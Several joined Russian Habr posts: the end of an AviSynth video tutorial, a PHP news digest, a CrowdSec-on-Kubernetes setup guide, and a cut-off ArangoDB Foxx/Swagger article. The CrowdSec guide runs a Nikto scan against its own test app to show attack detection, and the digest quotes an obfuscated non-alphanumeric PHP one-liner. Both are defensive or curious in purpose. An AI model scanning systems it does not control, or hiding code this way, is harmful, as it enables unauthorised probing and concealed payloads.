`video1 = DirectShowSource("D:\Video\Games\От Винта\Ot Vinta. 001.avi")
video2 = DirectShowSource("E:\Ghost In The Shell Movie 1.mkv")
video3 = DirectShowSource("D:\Video\Teenage Mutant Ninja Turtles\1x01.avi")
return video1 + video2 + video3`
Этими командами мы создали три переменных типа видео, соединили в один длинный кусок и вернули его для воспроизведения. Если попытаться запустить скрипт сейчас, то появится сообщение об ошибке, потому что параметры у файлов разные. Для начала приведём их к одинаковому разрешению (я буду приводить к 720x480), чтобы не поломать аспект добавим чёрных полосок (letterbox), приведём fps к 25 и приведём sample rate звука к одной величине (44100).
`video1 = DirectShowSource("D:\Video\Games\От Винта\Ot Vinta. 001.avi")
video2 = DirectShowSource("E:\Ghost In The Shell Movie 1.mkv")
video3 = DirectShowSource("D:\Video\Teenage Mutant Ninja Turtles\1x01.avi")
video1 = video1.Trim(100,200)
video1 = video1.Lanczos4Resize(652,480)
video1 = video1.AddBorders(34, 0, 34, 0)
video1 = video1.ResampleAudio(44100)
video2 = video2.Trim(200,300)
video2 = video2.Lanczos4Resize(720, 388)
video2 = video2.AddBorders(0, 46, 0, 46)
video2 = video2.ConvertFPS(25)
video2 = video2.ResampleAudio(44100)
video3 = video3.Trim(400,500)
video3 = video3.Lanczos4Resize(640,480)
video3 = video3.AddBorders(40, 0, 40, 0)
video3 = video3.ConvertFPS(25)
video3 = video3.ResampleAudio(44100)
return video1 + video2 + video3`
Командой Trim я оставил от каждого файла сотню кадров. Просто так. :)
Вот и всё. Скрипт делается копипастой буквально за несколько секунд, а времени экономит целую кучу. Его выполнение не требует ни временных файлов на диске, ни ужасающих объёмов ОЗУ.
Результаты его исполнения:
[](http://i39.tinypic.com/j5ui6u.jpg)
[](http://i44.tinypic.com/2v9azuq.jpg)
[](http://i42.tinypic.com/4tmvbm.jpg)
Отдельное спасибо пользователю [drunk](https://habrahabr.ru/users/drunk/) без инвайта которого эта публикация не произошла бы. | https://habr.com/ru/post/49735/ | null | ru | null |
# PHP-Дайджест № 100 – интересные новости, материалы и инструменты (1 – 15 января 2017)
[](https://habrahabr.ru/company/zfort/blog/319580/)
Предлагаем вашему вниманию очередную подборку со ссылками на новости и материалы.
Приятного чтения!
### Новости и релизы
*  [Уязвимости выполнения произвольного кода в PHPMailer и SwiftMailer](https://habrahabr.ru/post/318698/)
* [PSR-16: Simple Cache](https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-16-simple-cache.md) — [Принят](https://groups.google.com/d/msg/php-fig/A8e6GvDRGIk/vdf-KHjwEQAJ) стандарт интерфейса простого кэша.
* [Composer 1.3](https://github.com/composer/composer/releases/tag/1.3.0) — Прислал [im\_special\_one](https://habrahabr.ru/users/im_special_one/).
* [Twig 2.0](http://twig.sensiolabs.org/doc/2.x/)
* [Инициирован форк PrestaShop](http://www.opennet.ru/opennews/art.shtml?num=45822)
* [Стандарт цикла событий (event loop) для PHP](https://github.com/async-interop/event-loop) — Спецификация разработана в рамках инициативы группы [PHP Asynchronous Interoperability Group](https://github.com/async-interop) и достигла стабильной версии.
### PHP
* [RFC: Parameter Type Widening](https://wiki.php.net/rfc/parameter-no-type-variance) — Предлагается сделать возможным изменение (отмену) типа аргумента в методах наследников:
```
php
class ArrayClass {
public function foo(array $foo) { /* ... */ }
}
class EverythingClass extends ArrayClass {
public function foo($foo) { /* ... */ }
}
</code
```
### Инструменты
* [edamov/pushok](https://github.com/edamov/pushok) — Библиотека для отправки push-уведомлений на iOS с поддержкой новых фич (collapse IDs, subtitles, JWT auth, HTTP\2). Прислал [edamov](https://habrahabr.ru/users/edamov/).
* [ReflectPHP](https://github.com/ReflectPHP/examples) — Инструмент позволяет запускать исходный код PHP более старших версий на интерпретаторе более младших версий. Прислал [serafimarts](https://habrahabr.ru/users/serafimarts/).
* [FluentDOM/FluentDOM](https://github.com/FluentDOM/FluentDOM) — Обертка над DOMDocument, реализующая текучий интерфейс а-ля jQuery. [Пост](http://www.a-basketful-of-papayas.net/2016/12/fluentdom-60-whats-new.html) в поддержку.
* [paragonie/sodium\_compat](https://github.com/paragonie/sodium_compat) — Экспериментальный полифил для Libsodium на чистом PHP. [Пост](https://paragonie.com/blog/2017/01/let-s-make-2017-year-simply-secure-php-cryptography) в поддержку.
* [aidantwoods/SecureHeaders](https://github.com/aidantwoods/SecureHeaders) — Класс для упрощения работы с HTTP-заголовками связанными с безопасностью. Подробный [пост](https://www.aidanwoods.com/blog/secure-headers-for-php) по теме от автора.
Альтернативное решение [BePsvPT/secure-headers](https://github.com/BePsvPT/secure-headers).
* [thephpleague/uri-parser](https://github.com/thephpleague/uri-parser) — Парсер URI для PHP 7. Исправляет недостатки `parse_url` и совместим со стандартом [RFC 3986](https://github.com/thephpleague/uri-parser). [Пост](http://nyamsprod.com/blog/2017/league-uri-parser/) в поддержку.
* [geekish/crap](https://github.com/geekish/crap) — Позволяет устанавливать псевдонимы для часто используемых composer пакетов.
* [fruux/sabre-cache](https://github.com/fruux/sabre-cache) — Библиотека для кэширования, реализован стандарт [PSR-16](https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-16-simple-cache.md).
* [symfony/dotenv](https://github.com/symfony/dotenv) — Symfony-компонент для чтения .env файлов.
* [zelenin/http-client](https://github.com/zelenin/http-client) — PSR-7-совместимый http-клиент с поддержкой middleware. Прислал [zelenin](https://habrahabr.ru/users/zelenin/).
* [wapmorgan/Mp3Info](https://github.com/wapmorgan/Mp3Info) — Библиотека для чтения тегов и метаинформации из mp3.
* [wapmorgan/UnifiedArchive](https://github.com/wapmorgan/UnifiedArchive) — Библиотека для унифицированного доступа к архивам различных форматов. Также в виде утилиты командной строки — [wapmorgan/CAM](https://github.com/wapmorgan/CAM).
### Материалы для обучения
* ##### Symfony
+  [LexikFormFilterBundle, создаем фильтрующие формы еще быстрее](https://habrahabr.ru/post/319346/)
+ [Symfony 2016 — итоги года](http://symfony.com/blog/symfony-2016-year-in-review)
+ [Статистика контрибьюторов Symfony](https://a-ast.github.io/trends/symfony-2016.html)
+ [Неделя Symfony #522 (26 декабря 2016 — 1 января 2017)](http://symfony.com/blog/a-week-of-symfony-522-26-december-2016-1-january-2017)
+ [Неделя Symfony #523 (2-8 января 2017)](http://symfony.com/blog/a-week-of-symfony-523-2-8-january-2017)
+ [Неделя Symfony #524 (9-15 января 2017)](http://symfony.com/blog/a-week-of-symfony-524-9-15-january-2017)
* ##### Yii
+ [Разработка на Yii2: использование отладочной панели](https://code.tutsplus.com/tutorials/programming-with-yii2-using-the-debugger--cms-26910)
+ [Разработка на Yii2: хелперы](https://code.tutsplus.com/tutorials/programming-with-yii2-helpers--cms-26889)
+ [Плагин Yii 2 для IntelliJ IDEA (PhpStorm)](https://plugins.jetbrains.com/idea/plugin/9400-yii2-inspections)
+ [2amigos/yii2-usuario](https://github.com/2amigos/yii2-usuario) — Гибкое расширение Yii 2 для управления пользователями.
* ##### Laravel
+  [Laravel Dusk уже близко](https://habrahabr.ru/post/318704/)
+ [garveen/laravoole](https://github.com/garveen/laravoole) — Инструмент для запуска Laravel на асинхронных фреймворках [Swoole](https://github.com/swoole/swoole-src) или [Workerman](https://github.com/walkor/Workerman).
* [phpstorm.tips](http://phpstorm.tips/) — Трюки и подсказки по PhpStorm в гифках.
* [Как PHP исполняет код](https://www.sitepoint.com/how-php-executes-from-source-code-to-render/)
* [Самодельные уведомления для Twitter и Gmail с помощью PHP и Arduino](https://www.sitepoint.com/home-made-twitter-and-gmail-notifications-with-php-and-arduino/)
* [Избавляемся от статических вызовов](https://qafoo.com/blog/094_getting_rid_of_static.html)
* [Мультиязычное приложение на PHP и Gettext](https://www.toptal.com/php/build-multilingual-app-with-gettext)
* [Закончилась поддержка PHP 5. Что дальше?](https://thephp.cc/news/2016/12/php-5-active-support-ends-now-what)
* [Флаги фич (Feature Flags) в PHP](http://mamchenkov.net/wordpress/2016/12/20/feature-flags-in-php/)
* [Хороший пример использования RabbitMQ в PHP](https://hollo.me/php/experimental-async-php-volume-2.html)
* [Бенчмарк популярных DI-контейнеров](https://rawgit.com/kocsismate/php-di-container-benchmarks/master/var/benchmark.html)
*  [Полное руководство по загрузке изображений на PHP](http://denisyuk.by/all/polnoe-rukovodstvo-po-zagruzke-izobrazheniy-na-php/) — Прислал [Александр Денисюк](http://denisyuk.by/).
*  [Drupal и WordPress — сравнение, аналогии, сходства, различия](https://habrahabr.ru/company/arcadia/blog/318808/)
*  [Пакет-географ: готов к работе](https://habrahabr.ru/post/318424/)
*  [Обнаружение в коде дефекта «разыменование нулевого указателя»](https://habrahabr.ru/company/echelon/blog/319218/)
*  [Хранение php-сессий в Redis с блокировками](https://habrahabr.ru/post/318836/)
*  [PHPixie Cache: PSR-6, PSR-16 и несколько интересных фич](https://habrahabr.ru/post/318778/)
*  [Платформа для быстрого создания RESTful API](https://habrahabr.ru/post/318724/)
*  [Горизонтальное масштабирование. Что, зачем, когда и как?](https://habrahabr.ru/company/oleg-bunin/blog/319526/)
* [Основы безопасности веб-приложений](https://martinfowler.com/articles/web-security-basics.html)
### Аудио и видеоматериалы
*  [Xdebug в Docker контейнерах](https://shippingdocker.com/xdebug/)
*  [PHPCon Poland 2016](https://vimeo.com/album/4271312) — Видеозаписи докладов.
*  [PHP Town Hall Podcast #50: Low down on PSR-15](https://phptownhall.com/episode-50-low-down-on-psr15/) — O middleware в PHP.
*  [Подкаст PHP Roundtable 058: HTTPlug, Guzzle & API's](https://www.phproundtable.com/episode/httplug-guzzle-and-apis)
*  [PHP подкаст #14](http://podcast.ostretsov.ru/2016/12/30/php-podcast-14/)
### Занимательное
* [Сравнение метрик кода популярных фреймворков: Laravel, Zend, Symfony, Cake, Slim](https://medium.com/@taylorotwell/measuring-code-complexity-64356da605f9#.j719oq8ue)
* [Простой бенчмарк Laravel, Symfony, Zend](https://medium.com/@taylorotwell/benchmarking-laravel-symfony-zend-2c01c2b270f8#.7slw81fel)
* [Что сообщество думает о PHP в 2017](https://www.cloudways.com/blog/php-trends-2017/)
* [The Zend Blog: Статус PHP в 2017](http://blog.zend.com/2017/01/10/the-state-of-php-in-2017/#.WHUV0LbyuMI)
* [PHP код](https://3v4l.org/XRQec), который выводит буквенно-цифровые символы не используя ни один из них:
```
=($__='`@`@'^'*/).')(($_='-.<:'^'__@[_')('>'^@_,'%'^@_)),$__($_('|'^'=','|'^'&')),$__($_(':'^"\n",';'^']'^@_));
```
Спасибо за внимание!
Если вы заметили ошибку или неточность — сообщите, пожалуйста, в [личку](https://habrahabr.ru/conversations/pronskiy/).
Вопросы и предложения пишите на [почту](mailto:roman@pronskiy.com) или в [твиттер](https://twitter.com/pronskiy).
[Прислать ссылку](https://bit.ly/php-digest-add-link)
[Быстрый поиск по всем дайджестам](https://pronskiy.com/php-digest/)
← [Предыдущий выпуск: PHP-Дайджест № 99](https://habrahabr.ru/company/zfort/blog/318410/) | https://habr.com/ru/post/319580/ | null | ru | null |
# Интеграция CrowdSec в Kubernetes
*Архитектура микросервисов — самая серьёзная угроза безопасности в кластере Kubernetes (K8s), так как каждое развёртываемое приложение открывает для злоумышленников новый потенциальный вектор атаки. При этом, развёрнутые приложения генерируют логи, а наша платформа CrowdSec может запускаться в контейнере. Значит, мы можем использовать её в кластере K8s для того, чтобы мониторить выбранные приложения и обнаруживать атаки на них.*
Архитектура CrowdSec в кластере Kubernetes для чтения логов и отправки предупреждений об атаках. Источник (здесь и далее): CrowdSec### Подготовка к работе
Перед тем, как мы приступим к практической части, убедитесь, что у вас есть:
* настроенная учётная запись Amazon Web Services (AWS) и инструмент командной троки [eksctl](https://eksctl.io/introduction/) или готовый кластер K8s (убедитесь, что у кластера достаточно доступных ресурсов, хотя бы один процессор и 1 ГБ ОЗУ);
* инструмент командной строки [kubectl](https://kubernetes.io/docs/tasks/tools/#kubectl);
* Менеджер пакетов [helm](https://helm.sh/docs/intro/install/).
### Настройка тестового окружения
**Развёртывание кластера K8s**
Если у вас нет готового кластера, вы сможете достаточно быстро развернуть его при помощи сервиса Amazon EKS. Вот простая конфигурация для 1 инстанса t2.small:
```
apiVersion: eksctl.io/v1alpha5
kind: ClusterConfig
metadata:
name: alpaga
region: eu-west-1
version: "1.21"
nodeGroups:
- name: ng-1
instanceType: t2.small
desiredCapacity: 1
ssh:
allow: true
```
Если вам нужно создать больше узлов, просто измените параметр desiredCapacity.
Затем мы можем запустить эту конфигурацию для создания кластера:
```
$ eksctl create cluster -f cluster.yaml
2021-09-17 17:39:41 [] eksctl version 0.62.0
2021-09-17 17:39:41 [] using region eu-west-1
2021-09-17 17:39:41 [] setting availability zones to [eu-west-1a eu-west-1c eu-west-1b]
2021-09-17 17:39:41 [] subnets for eu-west-1a - public:192.168.0.0/19 private:192.168.96.0/19
2021-09-17 17:39:41 [] subnets for eu-west-1c - public:192.168.32.0/19 private:192.168.128.0/19
2021-09-17 17:39:41 [] subnets for eu-west-1b - public:192.168.64.0/19 private:192.168.160.0/19
2021-09-17 17:39:41 [] nodegroup "ng-1" will use "ami-044dfe22e0788d8ed" [AmazonLinux2/1.21]
2021-09-17 17:39:41 [] using SSH public key "/home/.ssh/id_rsa.pub" as "eksctl-alpaga-nodegroup-ng-1-7f:94:de:2d:82:df:52:b1:e1:56:4b:a6:7f:2e:91:72"
2021-09-17 17:39:42 [] using Kubernetes version 1.21
2021-09-17 17:39:42 [] creating EKS cluster "alpaga" in "eu-west-1" region with un-managed nodes
2021-09-17 17:39:42 [] 1 nodegroup (ng-1) was included (based on the include/exclude rules)
2021-09-17 17:39:42 [] will create a CloudFormation stack for cluster itself and 1 nodegroup stack(s)
...
2021-09-17 18:00:57 [] nodegroup "ng-1" has 0 node(s)
2021-09-17 18:00:57 [] waiting for at least 1 node(s) to become ready in "ng-1"
2021-09-17 18:01:49 [] nodegroup "ng-1" has 1 node(s)
2021-09-17 18:01:49 [] node "ip-192-168-68-125.eu-west-1.compute.internal" is ready
2021-09-17 18:03:51 [] kubectl command should work with "/home/.kube/config", try 'kubectl get nodes'
2021-09-17 18:03:51 [] EKS cluster "alpaga" in "eu-west-1" region is ready
```
При развёртывании кластера мы уже можем получить определённые данные:
```
$ kubectl cluster-info
Kubernetes control plane is running at https://XXXXXXXXXXXXXXXXXXXXXXXXXXXX.gr7.eu-west-1.eks.amazonaws.com
CoreDNS is running at https://XXXXXXXXXXXXXXXXXXXXXXXXXXXX.gr7.eu-west-1.eks.amazonaws.com/api/v1/namespaces/kube-system/services/kube-dns:dns/proxy
```
Развертывание контроллера Nginx Ingress Controller
--------------------------------------------------
Чтобы установить контроллер, мы используем указанную в [документации](https://kubernetes.github.io/ingress-nginx/deploy/#aws) команду:
```
kubectl apply -f https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.0.0/deploy/static/provider/aws/deploy.yaml
```
После установки мы можем увидеть поды контроллера в новом пространстве имён:
```
$ kubectl -n ingress-nginx get pods
NAME READY STATUS RESTARTS AGE
ingress-nginx-admission-create-psc5c 0/1 Completed 0 78s
ingress-nginx-admission-patch-9qgrr 0/1 Completed 1 77s
ingress-nginx-controller-fd7bb8d66-llxc9 1/1 Running 0 79s
```
Установка приложения HelloWorld
-------------------------------
В качестве тестового приложения мы предлагаем HelloWorld, которое можно развернуть с помощью контроллера Nginx. Этот пакет можно найти в нашем [репозитории](https://github.com/crowdsecurity/helm-charts). Сперва нам необходимо установить репозиторий helm, затем приложение HelloWorld, а затем CrowdSec:
```
$ helm repo add crowdsec https://crowdsecurity.github.io/helm-charts
"crowdsec" has been added to your repositories
```
Затем мы обновим репозитории, чтобы получить новые пакеты.
```
$ helm repo update
Hang tight while we grab the latest from your chart repositories...
...Successfully got an update from the "crowdsec" chart repository
...Successfully got an update from the "stable" chart repository
Update Complete. ⎈Happy Helming!⎈
```
Теперь мы можем установить пакет HelloWorld в пространство имён, выбранное по умолчанию и с параметрами по умолчанию.
```
$ helm install helloworld crowdsec/helloworld
W0920 12:22:22.434028 298463 warnings.go:70] networking.k8s.io/v1beta1 Ingress is deprecated in v1.19+, unavailable in v1.22+; use networking.k8s.io/v1 Ingress
W0920 12:22:22.792661 298463 warnings.go:70] networking.k8s.io/v1beta1 Ingress is deprecated in v1.19+, unavailable in v1.22+; use networking.k8s.io/v1 Ingress
NAME: helloworld
LAST DEPLOYED: Mon Sep 20 12:22:21 2021
NAMESPACE: default
STATUS: deployed
REVISION: 1
NOTES:
1. Get the application URL by running these commands:
http://helloworld.local/
```
Чтобы получить доступ к этому URL-адресу, вам необходимо получить общедоступный IP-адрес и изменить файл вашего хоста:
```
$ kubectl get ingresses.networking.k8s.io
NAME CLASS HOSTS ADDRESS PORTS AGE
helloworld helloworld.local a8523ec3bb4024bc3a7f8b26294013f3-c7ea4e370eaf1195.elb.eu-west-1.amazonaws.com 80 2m18s
$ host a8523ec3bb4024bc3a7f8b26294013f3-c7ea4e370eaf1195.elb.eu-west-1.amazonaws.com
a8523ec3bb4024bc3a7f8b26294013f3-c7ea4e370eaf1195.elb.eu-west-1.amazonaws.com has address 52.31.225.95
a8523ec3bb4024bc3a7f8b26294013f3-c7ea4e370eaf1195.elb.eu-west-1.amazonaws.com has address 54.73.240.30
a8523ec3bb4024bc3a7f8b26294013f3-c7ea4e370eaf1195.elb.eu-west-1.amazonaws.com has address 176.34.92.134
```
При использовании EKS AWS выполнение этой команды может занять некоторое время. Мы можем изменить файл хоста, чтобы добавить один из общедоступных IP-адресов:
```
echo "52.31.225.95 helloworld.local" | sudo tee -a /etc/hosts
```
Теперь мы получили доступ к нашему приложению:
```
$ curl -v http://helloworld.local
* Trying 52.31.225.95:80...
* TCP_NODELAY set
* Connected to helloworld.local (52.31.225.95) port 80 (#0)
> GET / HTTP/1.1
> Host: helloworld.local
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Mon, 20 Sep 2021 10:38:21 GMT
< Content-Type: text/plain; charset=utf-8
< Content-Length: 13
< Connection: keep-alive
< X-App-Name: http-echo
< X-App-Version: 0.2.3
<
helloworld!
* Connection #0 to host helloworld.local left intact
```
Мы также можем просмотреть логи Nginx, чтобы увидеть лог HTTP:
```
$ k -n ingress-nginx logs ingress-nginx-controller-fd7bb8d66-llxc9
82.125.X.X - - [20/Sep/2021:10:38:21 +0000] "GET / HTTP/1.1" 200 13 "-" "curl/7.68.0" 80 0.001 [default-helloworld-5678] [] 192.168.65.115:5678 13 0.000 200 abb8f358776224ff5c14a6c0a227b450
```
Наша среда готова!
### Установка CrowdSec
Пакет CrowdSec также доступен в нашем [репозитории](https://github.com/crowdsecurity/helm-charts) пакетов.
Сперва необходимо создать новое пространство имён:
```
$ kubectl create ns crowdsec
namespace/crowdsec created
```
Мы планируем мониторить логи Nginx, потому что наше тестовое приложение связано с этим контроллером. Для настройки пакета CrowdSec мы создадим новый файл crowdsec-values.yaml:
```
agent:
# To specify each pod you want to process it logs (pods present in the node)
acquisition:
# The namespace where the pod is located
- namespace: ingress-nginx
# The pod name
podName: ingress-nginx-controller-*
# as in crowdsec configuration, we need to specify the program name so the parser will match and parse logs
program: Nginx
# Those are ENV variables
env:
# As it's a test, we don't want to share signals with CrowdSec so disable the Online API.
- name: DISABLE_ONLINE_API
value: "true"
# As we are running Nginx, we want to install the Nginx collection
- name: COLLECTIONS
value: "crowdsecurity/nginx"
lapi:
env:
# As it's a test, we don't want to share signals with CrowdSec, so disable the Online API.
- name: DISABLE_ONLINE_API
value: "true"
```
Если вы хотите изменить переменные среды образа Docker, вы можете ознакомиться с данным [руководством](https://hub.docker.com/r/crowdsecurity/crowdsec).
Теперь мы можем установить CrowdSec, используя файл конфигурации в пространстве имён CrowdSec, которое мы создали ранее:
```
$ helm install crowdsec crowdsec/crowdsec -f crowdsec-values.yaml -n crowdsec
NAME: crowdsec
LAST DEPLOYED: Mon Sep 20 17:46:02 2021
NAMESPACE: crowdsec
STATUS: deployed
REVISION: 1
TEST SUITE: None
```
Теперь наш агент и LAPI (локальное API CrowdSec) запущены:
```
$ k get pods -n crowdsec
NAME READY STATUS RESTARTS AGE
crowdsec-agent-kf9fr 1/1 Running 0 34s
crowdsec-lapi-777c469947-jbk9q 1/1 Running 0 34s
```
Чтобы проверить, способен ли CrowdSec обнаруживать атаки, мы смоделируем атаку на приложение HelloWorld с помощью сканера уязвимостей. Мы запустим атаку с помощью этой команды после установки Nikto (запустите атаку и отмените ее через 20 секунд, просто чтобы сгенерировать логи о нескольких атаках на приложение):
```
$ ./nikto.pl -host http://helloworld.local
```
Теперь мы можем запустить shell в модуле агента CrowdSec и увидеть метрики и предупреждения, которые сгенерируют эти атаки:
```
$ kubectl -n crowdsec exec -it crowdsec-agent-vn4bp -- sh
/ # cscli metrics
INFO[21-09-2021 09:39:50 AM] Buckets Metrics:
+-------------------------------------------+---------------+-----------+--------------+--------+---------+
| BUCKET | CURRENT COUNT | OVERFLOWS | INSTANCIATED | POURED | EXPIRED |
+-------------------------------------------+---------------+-----------+--------------+--------+---------+
| crowdsecurity/http-bad-user-agent | 3 | 183 | 186 | 369 | - |
| crowdsecurity/http-crawl-non_statics | - | 7 | 9 | 351 | 2 |
| crowdsecurity/http-path-traversal-probing | - | - | 1 | 2 | 1 |
| crowdsecurity/http-probing | 1 | - | 2 | 2 | 1 |
| crowdsecurity/http-sensitive-files | - | 3 | 4 | 17 | 1 |
+-------------------------------------------+---------------+-----------+--------------+--------+---------+
INFO[21-09-2021 09:39:50 AM] Acquisition Metrics:
+-----------------------------------------------------------------------------------------------------------------------------------------------------------------+------------+--------------+----------------+------------------------+
| SOURCE | LINES READ | LINES PARSED | LINES UNPARSED | LINES POURED TO BUCKET |
+-----------------------------------------------------------------------------------------------------------------------------------------------------------------+------------+--------------+----------------+------------------------+
| file:/var/log/containers/ingress-nginx-controller-fd7bb8d66-llxc9_ingress-nginx_controller-c536915796f13bbf66d1a8ab7159dbd055773dbbf89ab4d9653043591dfaef1f.log | 371 | 371 | - | 741 |
+-----------------------------------------------------------------------------------------------------------------------------------------------------------------+------------+--------------+----------------+------------------------+
INFO[21-09-2021 09:39:50 AM] Parser Metrics:
+--------------------------------+------+--------+----------+
| PARSERS | HITS | PARSED | UNPARSED |
+--------------------------------+------+--------+----------+
| child-crowdsecurity/http-logs | 1113 | 738 | 375 |
| child-crowdsecurity/nginx-logs | 371 | 371 | - |
| crowdsecurity/dateparse-enrich | 371 | 371 | - |
| crowdsecurity/docker-logs | 371 | 371 | - |
| crowdsecurity/geoip-enrich | 371 | 371 | - |
| crowdsecurity/http-logs | 371 | 360 | 11 |
| crowdsecurity/nginx-logs | 371 | 371 | - |
| crowdsecurity/whitelists | 371 | 371 | - |
+--------------------------------+------+--------+----------+
```
Метрики показывают файлы, прочитанные CrowdSec (в таблице сбора данных), количество проанализированных/непроанализированных файлов, и все сценарии, которые были запущены в результате чтения логов. В установленной нами коллекции Crowdsecurity/Nginx уже содержалось несколько сценариев для обнаружения HTTP-атак.
Теперь посмотрим, обнаруживает ли агент CrowdSec атаки от Nikto:
```
/ # cscli alerts list
+----+------------------+--------------------------------------+---------+---------+-----------+--------------------------------+
| ID | VALUE | REASON | COUNTRY | AS | DECISIONS | CREATED AT |
+----+------------------+--------------------------------------+---------+---------+-----------+--------------------------------+
| 3 | Ip:82.125.X.X | crowdsecurity/http-sensitive-files | FR | Orange | ban:1 | 2021-09-21 09:38:12.624461519 |
| | | | | | | +0000 UTC |
| 2 | Ip:82.125.X.X | crowdsecurity/http-crawl-non_statics | FR | Orange | ban:1 | 2021-09-21 09:38:12.104034837 |
| | | | | | | +0000 UTC |
| 1 | Ip:82.125.X.X | crowdsecurity/http-bad-user-agent | FR | Orange | ban:1 | 2021-09-21 09:38:12.104018425 |
| | | | | | | +0000 UTC |
+----+------------------+--------------------------------------+---------+---------+-----------+--------------------------------+
```
Это предупреждения, созданные агентом CrowdSec после сканирования Nikto. Мы видим, что было запущено несколько сценариев, и агент отправил решения о бане в LAPI. Это означает, что в дальнейшем эти решения будут сохранены и переданы баунсерам, которые заблокируют этот IP.
### "Прибираем" за собой
Чтобы устранить последствия наших тестов, достаточно выполнить пару простых действий:
— если вы развернули собственный кластер, его можно быстро удалить его при помощи eksctl:
```
eksctl delete cluster -f cluster.yaml
```
— если вы использовали существующий кластер, необходимо удалить пакеты, которые мы в него добавили:
```
$ helm delete crowdsec -n crowdsec
$ helm delete helloworld
```
Если вы установили Nginx, его также можно удалить при помощи команды:
```
kubectl delete -f https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.0.0/deploy/static/provider/aws/deploy.yaml
```
Заключение
----------
В этом посте мы описали возможности установки CrowdSec в Kubernetes и то, как наша платформа может обнаруживать атаки. Но обнаружение не будет приносить пользы без предотвращения атак. В данный момент мы работаем над внедрением баунсеров в Kubernetes для блокировки обнаруженных атак. Мы начнём с интеграции [Lua](https://github.com/crowdsecurity/lua-cs-bouncer) в Nginx и после завершения этого процесса опишем в новом посте, как использовать баунсеры, чтобы защитить свои приложения от атак.
Надеемся, вам понравился этот обзор. Будем рады услышать ваше мнение по поводу использования CrowdSec в Kubernetes.
Команда [CrowdSec](https://crowdsec.net/) | https://habr.com/ru/post/592305/ | null | ru | null |
# Самодокументированные микросервисы (ArangoDB + swagger)
Поддержание документации к микросервисам в актуальном состоянии по прежнему требует предельной дисциплины при разработке, ну и больших трудозарат. Очень разумный подход к созданию документации предлагает, например, GraphQL, где документация неразрывно связана с программным кодом и этим гарантируется 100% соответствие документации и документируемых сервисов. Однако, непривычность подхода GraphQL для разработчиков, привыкших к REST-API, все еще затрудняет продвижение этой технологии в практическую разработку приложений. Тут же можно вспомнить и SOAP, который уже давно решил проблему соответствия документации и сервисов, но из-за переусложненности не прижился в широких массах разработчиков.
Хотелось бы найти такой стек технологий для разработки микросервисов, который обеспечил такую же самодокументируемость программного кода при разработке «традиционных» REST-API микросервисов. И он, как оказалось, уже существует.
Определим действующих лиц и исполнителей, которые будут задействованы в нашем небольшом примере.
ArangoDB — гибридная, документо+граф-ориентированная база данных.
UPD. Более детальное знакомство с этой базой данных стало поводом для еще одного разочарования. Как оказалось, после превышения базой данных некоиторого лимита, который ограничен свободной оперативной памятью — база начинает не то что тормозить — она просто останавливается вместе с сервером. При этом высказываись робкие предположения о том что переход на новые движки хранения все будет работать лучше, которые пока не подтвердились.
UPD1. Хорошо иногда возвращаться и перепроверять обновленные версии продукта. Вскоре после написания этой статьи вышла версия 3.4, которая по заверению разработчиков пофиксила проблему с производительностью (фактически полную остановку) после превышения коллекцией размера оперативной памяти. Но я еще лично это не перепроверял. После соответствующих экспериментов сделаю очередной апдейт этой статьи. Рад, что arangodb возможно преодолела эту проблему и в этом случае она снова очень привлекательна для разработки приложений на ее основе.
Foxx — микросервисный фреймверк, встроенный в базу данных ArangoDB. Работает на движке JavaScript, который (в отличие от nodejs) может одновременно выполняться в неограниченном количестве параллельных потоков (не блокирующих друг друга), вследствие чего нет необходимости в конструкциях promise/than/canch и async/await. В отличие от mongodb, в которой не рекомендуется злоупотреблять серверными процедурами, и реляционных баз данных, в которых хранимые процедуры используются также осторожно и уж точно не взаимодействуют по REST-API с клиентами (браузерами, мобильными приложениями и т.п.) — микросервисный фреймверк Foxx был разработан как раз для разработки микросервисов которые напрямую общаются по http-протоколу с клиентами.
Swagger — это программная среда с открытым исходным кодом, поддерживаемая большой экосистемой инструментов, которая помогает разработчикам разрабатывать, создавать, документировать и потреблять веб-службы RESTful. Хотя большинство пользователей идентифицируют Swagger с Swagger UI, набор инструментов Swagger включает поддержку автоматической документации, генерации кода и генерации тестовых примеров.
То, что Swagger включает поддержку генерации кода это ситуация противоположная той, которую хотелось бы получить — когда код поддерживает генерацию документации. То что предлагает нам ArangoDB+Foxx как раз включает обратный вариант. Когда по коду микросервисов генерируется схема для Swagger-а. Впрочем, теперь в этом можно убедиться самостоятельно проделав минимум работы.
У Вас должна быть установлена ArangoDB, чтобы выполнить дальнейшие действия.
1. Входим в админку и выбираем пункт создания нового микросервиса Services->Add service->New.
2. Заполняем в открывшейся форме обязательные реквизиты. В поле «Document Collections» добавляем имя коллекции документов которая будет создана при разворачивании микросервиса. Например, cats.
3. Кликаем по кнопке install, заносим в поле url, к которому будет примонтирован микросервис.
При инсталяции микросервиса, для каждой коллекции из поля «Document Collections» (см. п.2) будут созданы роуты, реализующие CRUD операции методами POST, GET, PUT и DELETE. Впрочем, это только заготовки методов, которые можно менять, удалять, добавлять новые. Мы выбрали одну коллекцию при содании микросервиса (cats), хотя могли этого и не деать, а все добавить потом вручную.
Тепрь у нашей коллекции cats есть роуты для CRUD операций, и мы можем начать вызывать эти роуты из админки базы данных выбрав вкладку API (Services->[Имя микросервиса]->API). В этом вкладке расположен привычный интерфейс Swagger-а. Также есть возможность опубликовать интерфейс Swagger-а на внешнем роуте доступном не только через админку, но как обычный URL.
Если попробовать добавить документ в коллекцию cats методом POST {«name»: «Tom»}, то получим статус с ошибкой. Т.к. поле name мы нигде еще не определили. Поэтому продолжим дальше работу с админкой ArangoDB.
4. Для более удобной разработки в ArangoDB предусмотрен режим Development, который включается на вкладке Settings (Services->[Имя микросервиса]->Settings-Set development)
Теперь можно менять код миросервиса и сразу наблюдать результат (без дополнительного деплоя). Каталог, в котором расположен программный код микросервиса можно узнать в админке на вкладке Info (Services->[Имя микросервиса]->Info).
Посмотрим как выглядит определение роута POST
```
'use strict';
const dd = require('dedent');
const joi = require('joi');
const httpError = require('http-errors');
const status = require('statuses');
const errors = require('@arangodb').errors;
const createRouter = require('@arangodb/foxx/router');
const Cat = require('../models/cat');
const cats = module.context.collection('cats');
const keySchema = joi.string().required()
.description('The key of the cat');
const ARANGO_NOT_FOUND = errors.ERROR_ARANGO_DOCUMENT_NOT_FOUND.code;
